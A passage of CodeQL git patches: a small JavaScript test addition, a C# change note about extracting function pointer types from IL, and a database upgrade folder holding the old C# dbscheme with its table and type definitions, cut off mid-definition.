a/javascript/ql/test/query-tests/Expressions/WhitespaceContradictsPrecedence/tst.js +++ b/javascript/ql/test/query-tests/Expressions/WhitespaceContradictsPrecedence/tst.js @@ -50,3 +50,6 @@ x + x >> 1 // OK x + x >> 1 + +// OK (asm.js-like) +x = x - 1|0; \ No newline at end of file From b434a0f395b69cc28bd12f7bfe499b0cc3a08b3f Mon Sep 17 00:00:00 2001 From: Tamas Vajk <tamasvajk@github.com> Date: Mon, 25 Jan 2021 11:27:13 +0100 Subject: [PATCH 0792/1241] Add change notes --- csharp/change-notes/2021-01-25-Function-pointer-cil.md | 2 ++ 1 file changed, 2 insertions(+) create mode 100644 csharp/change-notes/2021-01-25-Function-pointer-cil.md diff --git a/csharp/change-notes/2021-01-25-Function-pointer-cil.md b/csharp/change-notes/2021-01-25-Function-pointer-cil.md new file mode 100644 index 00000000000..097df002d0f --- /dev/null +++ b/csharp/change-notes/2021-01-25-Function-pointer-cil.md @@ -0,0 +1,2 @@ +lgtm,codescanning +* Function pointer types (`FunctionPointerType`) are extracted from IL. Also, `pinned` and `by-reference` (`cil_type_annotation`) type extraction is fixed. From eac69c16749336429b29f57b3dcf139ba286a9fc Mon Sep 17 00:00:00 2001 From: Tamas Vajk <tamasvajk@github.com> Date: Mon, 25 Jan 2021 11:34:47 +0100 Subject: [PATCH 0793/1241] Add DB upgrade folder for CIL fnptr support --- .../old.dbscheme | 1940 ++++++++++++++++ .../semmlecode.csharp.dbscheme | 1956 +++++++++++++++++ .../upgrade.properties | 4 + 3 files changed, 3900 insertions(+) create mode 100644 csharp/upgrades/dd813977f70fcbf737b0bbe9dc8297edff713168/old.dbscheme create mode 100644 csharp/upgrades/dd813977f70fcbf737b0bbe9dc8297edff713168/semmlecode.csharp.dbscheme create mode 100644 csharp/upgrades/dd813977f70fcbf737b0bbe9dc8297edff713168/upgrade.properties diff --git a/csharp/upgrades/dd813977f70fcbf737b0bbe9dc8297edff713168/old.dbscheme b/csharp/upgrades/dd813977f70fcbf737b0bbe9dc8297edff713168/old.dbscheme new file mode 100644 index 00000000000..dd813977f70 --- /dev/null +++ b/csharp/upgrades/dd813977f70fcbf737b0bbe9dc8297edff713168/old.dbscheme @@ -0,0 +1,1940 @@ + +/** + * An invocation of the compiler. Note that more than one file may be + * compiled per invocation. For example, this command compiles three + * source files: + * + * csc f1.cs f2.cs f3.cs + * + * The `id` simply identifies the invocation, while `cwd` is the working + * directory from which the compiler was invoked. + */ +compilations( + unique int id : @compilation, + string cwd : string ref +); + +/** + * The arguments that were passed to the extractor for a compiler + * invocation. If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs + * + * then typically there will be rows for + * + * num | arg + * --- | --- + * 0 | --compiler + * 1 | *path to compiler* + * 2 | --cil + * 3 | f1.cs + * 4 | f2.cs + * 5 | f3.cs + */ +#keyset[id, num] +compilation_args( + int id : @compilation ref, + int num : int ref, + string arg : string ref +); + +/** + * The source files that are compiled by a compiler invocation. + * If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | f1.cs + * 1 | f2.cs + * 2 | f3.cs + */ +#keyset[id, num] +compilation_compiling_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The references used by a compiler invocation. + * If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs /r:ref1.dll /r:ref2.dll /r:ref3.dll + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | ref1.dll + * 1 | ref2.dll + * 2 | ref3.dll + */ +#keyset[id, num] +compilation_referencing_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The time taken by the extractor for a compiler invocation. + * + * For each file `num`, there will be rows for + * + * kind | seconds + * ---- | --- + * 1 | CPU seconds used by the extractor frontend + * 2 | Elapsed seconds during the extractor frontend + * 3 | CPU seconds used by the extractor backend + * 4 | Elapsed seconds during the extractor backend + */ +#keyset[id, num, kind] +compilation_time( + int id : @compilation ref, + int num : int ref, + /* kind: + 1 = frontend_cpu_seconds + 2 = frontend_elapsed_seconds + 3 = extractor_cpu_seconds + 4 = extractor_elapsed_seconds + */ + int kind : int ref, + float seconds : float ref +); + +/** + * An error or warning generated by the extractor. + * The diagnostic message `diagnostic` was generated during compiler + * invocation `compilation`, and is the `file_number_diagnostic_number`th + * message generated while extracting the `file_number`th file of that + * invocation. + */ +#keyset[compilation, file_number, file_number_diagnostic_number] +diagnostic_for( + unique int diagnostic : @diagnostic ref, + int compilation : @compilation ref, + int file_number : int ref, + int file_number_diagnostic_number : int ref +); + +diagnostics( + unique int id: @diagnostic, + int severity: int ref, + string error_tag: string ref, + string error_message: string ref, + string full_error_message: string ref, + int location: @location_default ref +); + +extractor_messages( + unique int id: @extractor_message, + int severity: int ref, + string origin : string ref, + string text : string ref, + string entity : string ref, + int location: @location_default ref, + string stack_trace : string ref +); + +/** + * If extraction was successful, then `cpu_seconds` and + * `elapsed_seconds` are the CPU time and elapsed time (respectively) + * that extraction took for compiler invocation `id`. + */ +compilation_finished( + unique int id : @compilation ref, + float cpu_seconds : float ref, + float elapsed_seconds : float ref +); + +compilation_assembly( + unique int id : @compilation ref, + int assembly: @assembly ref +) + +/* + * External artifacts + */ + +externalDefects( + unique int id: @externalDefect, + string queryPath: string ref, + int location: @location ref, + string message: string ref, + float severity: float ref); + +externalMetrics( + unique int id: @externalMetric, + string queryPath: string ref, + int location: @location ref, + float value: float ref); + +externalData( + int id: @externalDataElement, + string path: string ref, + int column: int ref, + string value: string ref); + +snapshotDate( + unique date snapshotDate: date ref); + +sourceLocationPrefix( + string prefix: string ref); + +/* + * Duplicate code + */ + +duplicateCode( + unique int id: @duplication, + string relativePath: string ref, + int equivClass: int ref); + +similarCode( + unique int id: @similarity, + string relativePath: string ref, + int equivClass: int ref); + +@duplication_or_similarity = @duplication | @similarity + +tokens( + int id: @duplication_or_similarity ref, + int offset: int ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref); + +/* + * C# dbscheme + */ + +/** ELEMENTS **/ + +@element = @declaration | @stmt | @expr | @modifier | @attribute | @namespace_declaration + | @using_directive | @type_parameter_constraints | @external_element + | @xmllocatable | @asp_element | @namespace; + +@declaration = @callable | @generic | @assignable | @namespace; + +@named_element = @namespace | @declaration; + +@declaration_with_accessors = @property | @indexer | @event; + +@assignable = @variable | @assignable_with_accessors | @event; + +@assignable_with_accessors = @property | @indexer; + +@external_element = @externalMetric | @externalDefect | @externalDataElement; + +@attributable = @assembly | @field | @parameter | @operator | @method | @constructor + | @destructor | @callable_accessor | @value_or_ref_type | @declaration_with_accessors + | @local_function; + +/** LOCATIONS, ASEMMBLIES, MODULES, FILES and FOLDERS **/ + +@location = @location_default | @assembly; + +locations_default( + unique int id: @location_default, + int file: @file ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref); + +@sourceline = @file | @callable | @xmllocatable; + +numlines( + int element_id: @sourceline ref, + int num_lines: int ref, + int num_code: int ref, + int num_comment: int ref); + +assemblies( + unique int id: @assembly, + int file: @file ref, + string fullname: string ref, + string name: string ref, + string version: string ref); + +/* + fromSource(0) = unknown, + fromSource(1) = from source, + fromSource(2) = from library +*/ +files( + unique int id: @file, + string name: string ref, + string simple: string ref, + string ext: string ref, + int fromSource: int ref); + +folders( + unique int id: @folder, + string name: string ref, + string simple: string ref); + +@container = @folder | @file ; + +containerparent( + int parent: @container ref, + unique int child: @container ref); + +file_extraction_mode( + unique int file: @file ref, + int mode: int ref + /* 0 = normal, 1 = standalone extractor */ + ); + +/** NAMESPACES **/ + +@type_container = @namespace | @type; + +namespaces( + unique int id: @namespace, + string name: string ref); + +namespace_declarations( + unique int id: @namespace_declaration, + int namespace_id: @namespace ref); + +namespace_declaration_location( + unique int id: @namespace_declaration ref, + int loc: @location ref); + +parent_namespace( + unique int child_id: @type_container ref, + int namespace_id: @namespace ref); + +@declaration_or_directive = @namespace_declaration | @type | @using_directive; + +parent_namespace_declaration( + int child_id: @declaration_or_directive ref, // cannot be unique because of partial classes + int namespace_id: @namespace_declaration ref); + +@using_directive = @using_namespace_directive | @using_static_directive; + +using_namespace_directives( + unique int id: @using_namespace_directive, + int namespace_id: @namespace ref); + +using_static_directives( + unique int id: @using_static_directive, + int type_id: @type_or_ref ref); + +using_directive_location( + unique int id: @using_directive ref, + int loc: @location ref); + +/** TYPES **/ + +types( + unique int id: @type, + int kind: int ref, + string name: string ref); + +case @type.kind of + 1 = @bool_type +| 2 = @char_type +| 3 = @decimal_type +| 4 = @sbyte_type +| 5 = @short_type +| 6 = @int_type +| 7 = @long_type +| 8 = @byte_type +| 9 = @ushort_type +| 10 = @uint_type +| 11 = @ulong_type +| 12 = @float_type +| 13 = @double_type +| 14 = @enum_type +| 15 = @struct_type +| 17 = @class_type +| 19 = @interface_type +| 20 = @delegate_type +| 21 = @null_type +| 22 = @type_parameter +| 23 = @pointer_type +| 24 = @nullable_type +| 25 = @array_type +| 26 = @void_type +| 27 = @int_ptr_type +| 28 = @uint_ptr_type +| 29 = @dynamic_type +| 30 = @arglist_type +| 31 = @unknown_type +| 32 = @tuple_type +| 33 = @function_pointer_type + ; + +@simple_type = @bool_type | @char_type | @integral_type | @floating_point_type | @decimal_type; +@integral_type = @signed_integral_type | @unsigned_integral_type; +@signed_integral_type = @sbyte_type | @short_type | @int_type | @long_type; +@unsigned_integral_type = @byte_type | @ushort_type | @uint_type | @ulong_type; +@floating_point_type = @float_type | @double_type; +@value_type = @simple_type | @enum_type | @struct_type | @nullable_type | @int_ptr_type + | @uint_ptr_type | @tuple_type; +@ref_type = @class_type | @interface_type | @array_type | @delegate_type | @null_type + | @dynamic_type; +@value_or_ref_type = @value_type | @ref_type; + +typerefs( + unique int id: @typeref, + string name: string ref); + +typeref_type( + int id: @typeref ref, + unique int typeId: @type ref); + +@type_or_ref = @type | @typeref; + +array_element_type( + unique int array: @array_type ref, + int dimension: int ref, + int rank: int ref, + int element: @type_or_ref ref); + +nullable_underlying_type( + unique int nullable: @nullable_type ref, + int underlying: @type_or_ref ref); + +pointer_referent_type( + unique int pointer: @pointer_type ref, + int referent: @type_or_ref ref); + +enum_underlying_type( + unique int enum_id: @enum_type ref, + int underlying_type_id: @type_or_ref ref); + +delegate_return_type( + unique int delegate_id: @delegate_type ref, + int return_type_id: @type_or_ref ref); + +function_pointer_return_type( + unique int function_pointer_id: @function_pointer_type ref, + int return_type_id: @type_or_ref ref); + +extend( + unique int sub: @type ref, + int super: @type_or_ref ref); + +anonymous_types( + unique int id: @type ref); + +@interface_or_ref = @interface_type | @typeref; + +implement( + int sub: @type ref, + int super: @type_or_ref ref); + +type_location( + int id: @type ref, + int loc: @location ref); + +tuple_underlying_type( + unique int tuple: @tuple_type ref, + int struct: @type_or_ref ref); + +#keyset[tuple, index] +tuple_element( + int tuple: @tuple_type ref, + int index: int ref, + unique int field: @field ref); + +attributes( + unique int id: @attribute, + int type_id: @type_or_ref ref, + int target: @attributable ref); + +attribute_location( + int id: @attribute ref, + int loc: @location ref); + +@type_mention_parent = @element | @type_mention; + +type_mention( + unique int id: @type_mention, + int type_id: @type_or_ref ref, + int parent: @type_mention_parent ref); + +type_mention_location( + unique int id: @type_mention ref, + int loc: @location ref); + +@has_type_annotation = @assignable | @type_parameter | @callable | @expr | @delegate_type | @generic | @function_pointer_type; + +/** + * A direct annotation on an entity, for example `string? x;`. + * + * Annotations: + * 2 = reftype is not annotated "!" + * 3 = reftype is annotated "?" + * 4 = readonly ref type / in parameter + * 5 = ref type parameter, return or local variable + * 6 = out parameter + * + * Note that the annotation depends on the element it annotates. + * @assignable: The annotation is on the type of the assignable, for example the variable type. + * @type_parameter: The annotation is on the reftype constraint + * @callable: The annotation is on the return type + * @array_type: The annotation is on the element type + */ +type_annotation(int id: @has_type_annotation ref, int annotation: int ref); + +nullability(unique int nullability: @nullability, int kind: int ref); + +case @nullability.kind of + 0 = @oblivious +| 1 = @not_annotated +| 2 = @annotated +; + +#keyset[parent, index] +nullability_parent(int nullability: @nullability ref, int index: int ref, int parent: @nullability ref) + +type_nullability(int id: @has_type_annotation ref, int nullability: @nullability ref); + +/** + * The nullable flow state of an expression, as determined by Roslyn. + * 0 = none (default, not populated) + * 1 = not null + * 2 = maybe null + */ +expr_flowstate(unique int id: @expr ref, int state: int ref); + +/** GENERICS **/ + +@generic = @type | @method | @local_function; + +type_parameters( + unique int id: @type_parameter ref, + int index: int ref, + int generic_id: @generic ref, + int variance: int ref /* none = 0, out = 1, in = 2 */); + +#keyset[constructed_id, index] +type_arguments( + int id: @type_or_ref ref, + int index: int ref, + int constructed_id: @generic_or_ref ref); + +@generic_or_ref = @generic | @typeref; + +constructed_generic( + unique int constructed: @generic ref, + int generic: @generic_or_ref ref); + +type_parameter_constraints( + unique int id: @type_parameter_constraints, + int param_id: @type_parameter ref); + +type_parameter_constraints_location( + int id: @type_parameter_constraints ref, + int loc: @location ref); + +general_type_parameter_constraints( + int id: @type_parameter_constraints ref, + int kind: int ref /* class = 1, struct = 2, new = 3 */); + +specific_type_parameter_constraints( + int id: @type_parameter_constraints ref, + int base_id: @type_or_ref ref); + +specific_type_parameter_nullability( + int id: @type_parameter_constraints ref, + int base_id: @type_or_ref ref, + int nullability: @nullability ref); + +/** FUNCTION POINTERS */ + +function_pointer_calling_conventions( + int id: @function_pointer_type ref, + int kind: int ref); + +#keyset[id, index] +has_unmanaged_calling_conventions( + int id: @function_pointer_type ref, + int index: int ref, + int conv_id: @type_or_ref ref); + +/** MODIFIERS */ + +@modifiable = @modifiable_direct | @event_accessor; + +@modifiable_direct = @member | @accessor | @local_function | @anonymous_function_expr; + +modifiers( + unique int id: @modifier, + string name: string ref); + +has_modifiers( + int id: @modifiable_direct ref, + int mod_id: @modifier ref); + +compiler_generated(unique int id: @modifiable_direct ref); + +/** MEMBERS **/ + +@member = @method | @constructor | @destructor | @field | @property | @event | @operator | @indexer | @type; + +@named_exprorstmt = @goto_stmt | @labeled_stmt | @expr; + +@virtualizable = @method | @property | @indexer | @event; + +exprorstmt_name( + unique int parent_id: @named_exprorstmt ref, + string name: string ref); + +nested_types( + unique int id: @type ref, + int declaring_type_id: @type ref, + int unbound_id: @type ref); + +properties( + unique int id: @property, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @property ref); + +property_location( + int id: @property ref, + int loc: @location ref); + +indexers( + unique int id: @indexer, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @indexer ref); + +indexer_location( + int id: @indexer ref, + int loc: @location ref); + +accessors( + unique int id: @accessor, + int kind: int ref, + string name: string ref, + int declaring_member_id: @member ref, + int unbound_id: @accessor ref); + +case @accessor.kind of + 1 = @getter +| 2 = @setter + ; + +init_only_accessors( + unique int id: @accessor ref); + +accessor_location( + int id: @accessor ref, + int loc: @location ref); + +events( + unique int id: @event, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @event ref); + +event_location( + int id: @event ref, + int loc: @location ref); + +event_accessors( + unique int id: @event_accessor, + int kind: int ref, + string name: string ref, + int declaring_event_id: @event ref, + int unbound_id: @event_accessor ref); + +case @event_accessor.kind of + 1 = @add_event_accessor +| 2 = @remove_event_accessor + ; + +event_accessor_location( + int id: @event_accessor ref, + int loc: @location ref); + +operators( + unique int id: @operator, + string name: string ref, + string symbol: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @operator ref); + +operator_location( + int id: @operator ref, + int loc: @location ref); + +constant_value( + int id: @variable ref, + string value: string ref); + +/** CALLABLES **/ + +@callable = @method | @constructor | @destructor | @operator | @callable_accessor | @anonymous_function_expr | @local_function; + +@callable_accessor = @accessor | @event_accessor; + +methods( + unique int id: @method, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @method ref); + +method_location( + int id: @method ref, + int loc: @location ref); + +constructors( + unique int id: @constructor, + string name: string ref, + int declaring_type_id: @type ref, + int unbound_id: @constructor ref); + +constructor_location( + int id: @constructor ref, + int loc: @location ref); + +destructors( + unique int id: @destructor, + string name: string ref, + int declaring_type_id: @type ref, + int unbound_id: @destructor ref); + +destructor_location( + int id: @destructor ref, + int loc: @location ref); + +overrides( + int id: @callable ref, + int base_id: @callable ref); + +explicitly_implements( + int id: @member ref, + int interface_id: @interface_or_ref ref); + +local_functions( + unique int id: @local_function, + string name: string ref, + int return_type: @type ref, + int unbound_id: @local_function ref); + +local_function_stmts( + unique int fn: @local_function_stmt ref, + int stmt: @local_function ref); + +/** VARIABLES **/ + +@variable = @local_scope_variable | @field; + +@local_scope_variable = @local_variable | @parameter; + +fields( + unique int id: @field, + int kind: int ref, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @field ref); + +case @field.kind of + 1 = @addressable_field +| 2 = @constant + ; + +field_location( + int id: @field ref, + int loc: @location ref); + +localvars( + unique int id: @local_variable, + int kind: int ref, + string name: string ref, + int implicitly_typed: int ref /* 0 = no, 1 = yes */, + int type_id: @type_or_ref ref, + int parent_id: @local_var_decl_expr ref); + +case @local_variable.kind of + 1 = @addressable_local_variable +| 2 = @local_constant +| 3 = @local_variable_ref + ; + +localvar_location( + unique int id: @local_variable ref, + int loc: @location ref); + +@parameterizable = @callable | @delegate_type | @indexer | @function_pointer_type; + +#keyset[name, parent_id] +#keyset[index, parent_id] +params( + unique int id: @parameter, + string name: string ref, + int type_id: @type_or_ref ref, + int index: int ref, + int mode: int ref, /* value = 0, ref = 1, out = 2, array = 3, this = 4 */ + int parent_id: @parameterizable ref, + int unbound_id: @parameter ref); + +param_location( + int id: @parameter ref, + int loc: @location ref); + +/** STATEMENTS **/ + +@exprorstmt_parent = @control_flow_element | @top_level_exprorstmt_parent; + +statements( + unique int id: @stmt, + int kind: int ref); + +#keyset[index, parent] +stmt_parent( + unique int stmt: @stmt ref, + int index: int ref, + int parent: @control_flow_element ref); + +@top_level_stmt_parent = @callable; + +// [index, parent] is not a keyset because the same parent may be compiled multiple times +stmt_parent_top_level( + unique int stmt: @stmt ref, + int index: int ref, + int parent: @top_level_stmt_parent ref); + +case @stmt.kind of + 1 = @block_stmt +| 2 = @expr_stmt +| 3 = @if_stmt +| 4 = @switch_stmt +| 5 = @while_stmt +| 6 = @do_stmt +| 7 = @for_stmt +| 8 = @foreach_stmt +| 9 = @break_stmt +| 10 = @continue_stmt +| 11 = @goto_stmt +| 12 = @goto_case_stmt +| 13 = @goto_default_stmt +| 14 = @throw_stmt +| 15 = @return_stmt +| 16 = @yield_stmt +| 17 = @try_stmt +| 18 = @checked_stmt +| 19 = @unchecked_stmt +| 20 = @lock_stmt +| 21 = @using_block_stmt +| 22 = @var_decl_stmt +| 23 = @const_decl_stmt +| 24 = @empty_stmt +| 25 = @unsafe_stmt +| 26 = @fixed_stmt +| 27 = @label_stmt +| 28 = @catch +| 29 = @case_stmt +| 30 = @local_function_stmt +| 31 = @using_decl_stmt + ; + +@using_stmt = @using_block_stmt | @using_decl_stmt; + +@labeled_stmt = @label_stmt | @case; + +@decl_stmt = @var_decl_stmt | @const_decl_stmt | @using_decl_stmt; + +@cond_stmt = @if_stmt | @switch_stmt; + +@loop_stmt = @while_stmt | @do_stmt | @for_stmt | @foreach_stmt; + +@jump_stmt = @break_stmt | @goto_any_stmt | @continue_stmt | @throw_stmt | @return_stmt + | @yield_stmt; + +@goto_any_stmt = @goto_default_stmt | @goto_case_stmt | @goto_stmt; + + +stmt_location( + unique int id: @stmt ref, + int loc: @location ref); + +catch_type( + unique int catch_id: @catch ref, + int type_id: @type_or_ref ref, + int kind: int ref /* explicit = 1, implicit = 2 */); + +/** EXPRESSIONS **/ + +expressions( + unique int id: @expr, + int kind: int ref, + int type_id: @type_or_ref ref); + +#keyset[index, parent] +expr_parent( + unique int expr: @expr ref, + int index: int ref, + int parent: @control_flow_element ref); + +@top_level_expr_parent = @attribute | @field | @property | @indexer | @parameter; + +@top_level_exprorstmt_parent = @top_level_expr_parent | @top_level_stmt_parent; + +// [index, parent] is not a keyset because the same parent may be compiled multiple times +expr_parent_top_level( + unique int expr: @expr ref, + int index: int ref, + int parent: @top_level_exprorstmt_parent ref); + +case @expr.kind of +/* literal */ + 1 = @bool_literal_expr +| 2 = @char_literal_expr +| 3 = @decimal_literal_expr +| 4 = @int_literal_expr +| 5 = @long_literal_expr +| 6 = @uint_literal_expr +| 7 = @ulong_literal_expr +| 8 = @float_literal_expr +| 9 = @double_literal_expr +| 10 = @string_literal_expr +| 11 = @null_literal_expr +/* primary & unary */ +| 12 = @this_access_expr +| 13 = @base_access_expr +| 14 = @local_variable_access_expr +| 15 = @parameter_access_expr +| 16 = @field_access_expr +| 17 = @property_access_expr +| 18 = @method_access_expr +| 19 = @event_access_expr +| 20 = @indexer_access_expr +| 21 = @array_access_expr +| 22 = @type_access_expr +| 23 = @typeof_expr +| 24 = @method_invocation_expr +| 25 = @delegate_invocation_expr +| 26 = @operator_invocation_expr +| 27 = @cast_expr +| 28 = @object_creation_expr +| 29 = @explicit_delegate_creation_expr +| 30 = @implicit_delegate_creation_expr +| 31 = @array_creation_expr +| 32 = @default_expr +| 33 = @plus_expr +| 34 = @minus_expr +| 35 = @bit_not_expr +| 36 = @log_not_expr +| 37 = @post_incr_expr +| 38 = @post_decr_expr +| 39 = @pre_incr_expr +| 40 = @pre_decr_expr +/* multiplicative */ +| 41 = @mul_expr +| 42 = @div_expr +| 43 = @rem_expr +/* additive */ +| 44 = @add_expr +| 45 = @sub_expr +/* shift */ +| 46 = @lshift_expr +| 47 = @rshift_expr +/* relational */ +| 48 = @lt_expr +| 49 = @gt_expr +| 50 = @le_expr +| 51 = @ge_expr +/* equality */ +| 52 = @eq_expr +| 53 = @ne_expr +/* logical */ +| 54 = @bit_and_expr +| 55 = @bit_xor_expr +| 56 = @bit_or_expr +| 57 = @log_and_expr +| 58 = @log_or_expr +/* type testing */ +| 59 = @is_expr +| 60 = @as_expr +/* null coalescing */ +| 61 = @null_coalescing_expr +/* conditional */ +| 62 = @conditional_expr +/* assignment */ +| 63 = @simple_assign_expr +| 64 = @assign_add_expr +| 65 = @assign_sub_expr +| 66 = @assign_mul_expr +| 67 = @assign_div_expr +| 68 = @assign_rem_expr +| 69 = @assign_and_expr +| 70 = @assign_xor_expr +| 71 = @assign_or_expr +| 72 = @assign_lshift_expr +| 73 = @assign_rshift_expr +/* more */ +| 74 = @object_init_expr +| 75 = @collection_init_expr +| 76 = @array_init_expr +| 77 = @checked_expr +| 78 = @unchecked_expr +| 79 = @constructor_init_expr +| 80 = @add_event_expr +| 81 = @remove_event_expr +| 82 = @par_expr +| 83 = @local_var_decl_expr +| 84 = @lambda_expr +| 85 = @anonymous_method_expr +| 86 = @namespace_expr +/* dynamic */ +| 92 = @dynamic_element_access_expr +| 93 = @dynamic_member_access_expr +/* unsafe */ +| 100 = @pointer_indirection_expr +| 101 = @address_of_expr +| 102 = @sizeof_expr +/* async */ +| 103 = @await_expr +/* C# 6.0 */ +| 104 = @nameof_expr +| 105 = @interpolated_string_expr +| 106 = @unknown_expr +/* C# 7.0 */ +| 107 = @throw_expr +| 108 = @tuple_expr +| 109 = @local_function_invocation_expr +| 110 = @ref_expr +| 111 = @discard_expr +/* C# 8.0 */ +| 112 = @range_expr +| 113 = @index_expr +| 114 = @switch_expr +| 115 = @recursive_pattern_expr +| 116 = @property_pattern_expr +| 117 = @positional_pattern_expr +| 118 = @switch_case_expr +| 119 = @assign_coalesce_expr +| 120 = @suppress_nullable_warning_expr +| 121 = @namespace_access_expr +/* C# 9.0 */ +| 122 = @lt_pattern_expr +| 123 = @gt_pattern_expr +| 124 = @le_pattern_expr +| 125 = @ge_pattern_expr +| 126 = @not_pattern_expr +| 129 = @function_pointer_invocation_expr +; + +@switch = @switch_stmt | @switch_expr; +@case = @case_stmt | @switch_case_expr; +@pattern_match = @case | @is_expr; +@unary_pattern_expr = @not_pattern_expr; +@relational_pattern_expr = @gt_pattern_expr | @lt_pattern_expr | @ge_pattern_expr | @le_pattern_expr; + +@integer_literal_expr = @int_literal_expr | @long_literal_expr | @uint_literal_expr | @ulong_literal_expr; +@real_literal_expr = @float_literal_expr | @double_literal_expr | @decimal_literal_expr; +@literal_expr = @bool_literal_expr | @char_literal_expr | @integer_literal_expr | @real_literal_expr + | @string_literal_expr | @null_literal_expr; + +@assign_expr = @simple_assign_expr | @assign_op_expr | @local_var_decl_expr; +@assign_op_expr = @assign_arith_expr | @assign_bitwise_expr | @assign_event_expr | @assign_coalesce_expr; +@assign_event_expr = @add_event_expr | @remove_event_expr; + +@assign_arith_expr = @assign_add_expr | @assign_sub_expr | @assign_mul_expr | @assign_div_expr + | @assign_rem_expr +@assign_bitwise_expr = @assign_and_expr | @assign_or_expr | @assign_xor_expr + | @assign_lshift_expr | @assign_rshift_expr; + +@member_access_expr = @field_access_expr | @property_access_expr | @indexer_access_expr | @event_access_expr + | @method_access_expr | @type_access_expr | @dynamic_member_access_expr; +@access_expr = @member_access_expr | @this_access_expr | @base_access_expr | @assignable_access_expr | @namespace_access_expr; +@element_access_expr = @indexer_access_expr | @array_access_expr | @dynamic_element_access_expr; + +@local_variable_access = @local_variable_access_expr | @local_var_decl_expr; +@local_scope_variable_access_expr = @parameter_access_expr | @local_variable_access; +@variable_access_expr = @local_scope_variable_access_expr | @field_access_expr; + +@assignable_access_expr = @variable_access_expr | @property_access_expr | @element_access_expr + | @event_access_expr | @dynamic_member_access_expr; + +@objectorcollection_init_expr = @object_init_expr | @collection_init_expr; + +@delegate_creation_expr = @explicit_delegate_creation_expr | @implicit_delegate_creation_expr; + +@bin_arith_op_expr = @mul_expr | @div_expr | @rem_expr | @add_expr | @sub_expr; +@incr_op_expr = @pre_incr_expr | @post_incr_expr; +@decr_op_expr = @pre_decr_expr | @post_decr_expr; +@mut_op_expr = @incr_op_expr | @decr_op_expr; +@un_arith_op_expr = @plus_expr | @minus_expr | @mut_op_expr; +@arith_op_expr = @bin_arith_op_expr | @un_arith_op_expr; + +@ternary_log_op_expr = @conditional_expr; +@bin_log_op_expr = @log_and_expr | @log_or_expr | @null_coalescing_expr; +@un_log_op_expr = @log_not_expr; +@log_expr = @un_log_op_expr | @bin_log_op_expr | @ternary_log_op_expr; + +@bin_bit_op_expr = @bit_and_expr | @bit_or_expr | @bit_xor_expr | @lshift_expr + | @rshift_expr; +@un_bit_op_expr = @bit_not_expr; +@bit_expr = @un_bit_op_expr | @bin_bit_op_expr; + +@equality_op_expr = @eq_expr | @ne_expr; +@rel_op_expr = @gt_expr | @lt_expr| @ge_expr | @le_expr; +@comp_expr = @equality_op_expr | @rel_op_expr; + +@op_expr = @assign_expr | @un_op | @bin_op | @ternary_op; + +@ternary_op = @ternary_log_op_expr; +@bin_op = @bin_arith_op_expr | @bin_log_op_expr | @bin_bit_op_expr | @comp_expr; +@un_op = @un_arith_op_expr | @un_log_op_expr | @un_bit_op_expr | @sizeof_expr + | @pointer_indirection_expr | @address_of_expr; + +@anonymous_function_expr = @lambda_expr | @anonymous_method_expr; + +@call = @method_invocation_expr | @constructor_init_expr | @operator_invocation_expr + | @delegate_invocation_expr | @object_creation_expr | @call_access_expr + | @local_function_invocation_expr | @function_pointer_invocation_expr; + +@call_access_expr = @property_access_expr | @event_access_expr | @indexer_access_expr; + +@late_bindable_expr = @dynamic_element_access_expr | @dynamic_member_access_expr + | @object_creation_expr | @method_invocation_expr | @operator_invocation_expr; + +@throw_element = @throw_expr | @throw_stmt; + +@implicitly_typeable_object_creation_expr = @object_creation_expr | @explicit_delegate_creation_expr; + +implicitly_typed_array_creation( + unique int id: @array_creation_expr ref); + +explicitly_sized_array_creation( + unique int id: @array_creation_expr ref); + +stackalloc_array_creation( + unique int id: @array_creation_expr ref); + +implicitly_typed_object_creation( + unique int id: @implicitly_typeable_object_creation_expr ref); + +mutator_invocation_mode( + unique int id: @operator_invocation_expr ref, + int mode: int ref /* prefix = 1, postfix = 2*/); + +expr_compiler_generated( + unique int id: @expr ref); + +expr_value( + unique int id: @expr ref, + string value: string ref); + +expr_call( + unique int caller_id: @expr ref, + int target_id: @callable ref); + +expr_access( + unique int accesser_id: @access_expr ref, + int target_id: @accessible ref); + +@accessible = @method | @assignable | @local_function | @namespace; + +expr_location( + unique int id: @expr ref, + int loc: @location ref); + +dynamic_member_name( + unique int id: @late_bindable_expr ref, + string name: string ref); + +@qualifiable_expr = @member_access_expr + | @method_invocation_expr + | @element_access_expr; + +conditional_access( + unique int id: @qualifiable_expr ref); + +expr_argument( + unique int id: @expr ref, + int mode: int ref); + /* mode is the same as params: value = 0, ref = 1, out = 2 */ + +expr_argument_name( + unique int id: @expr ref, + string name: string ref); + +/** CONTROL/DATA FLOW **/ + +@control_flow_element = @stmt | @expr; + +/* XML Files */ + +xmlEncoding ( + unique int id: @file ref, + string encoding: string ref); + +xmlDTDs( + unique int id: @xmldtd, + string root: string ref, + string publicId: string ref, + string systemId: string ref, + int fileid: @file ref); + +xmlElements( + unique int id: @xmlelement, + string name: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int fileid: @file ref); + +xmlAttrs( + unique int id: @xmlattribute, + int elementid: @xmlelement ref, + string name: string ref, + string value: string ref, + int idx: int ref, + int fileid: @file ref); + +xmlNs( + int id: @xmlnamespace, + string prefixName: string ref, + string URI: string ref, + int fileid: @file ref); + +xmlHasNs( + int elementId: @xmlnamespaceable ref, + int nsId: @xmlnamespace ref, + int fileid: @file ref); + +xmlComments( + unique int id: @xmlcomment, + string text: string ref, + int parentid: @xmlparent ref, + int fileid: @file ref); + +xmlChars( + 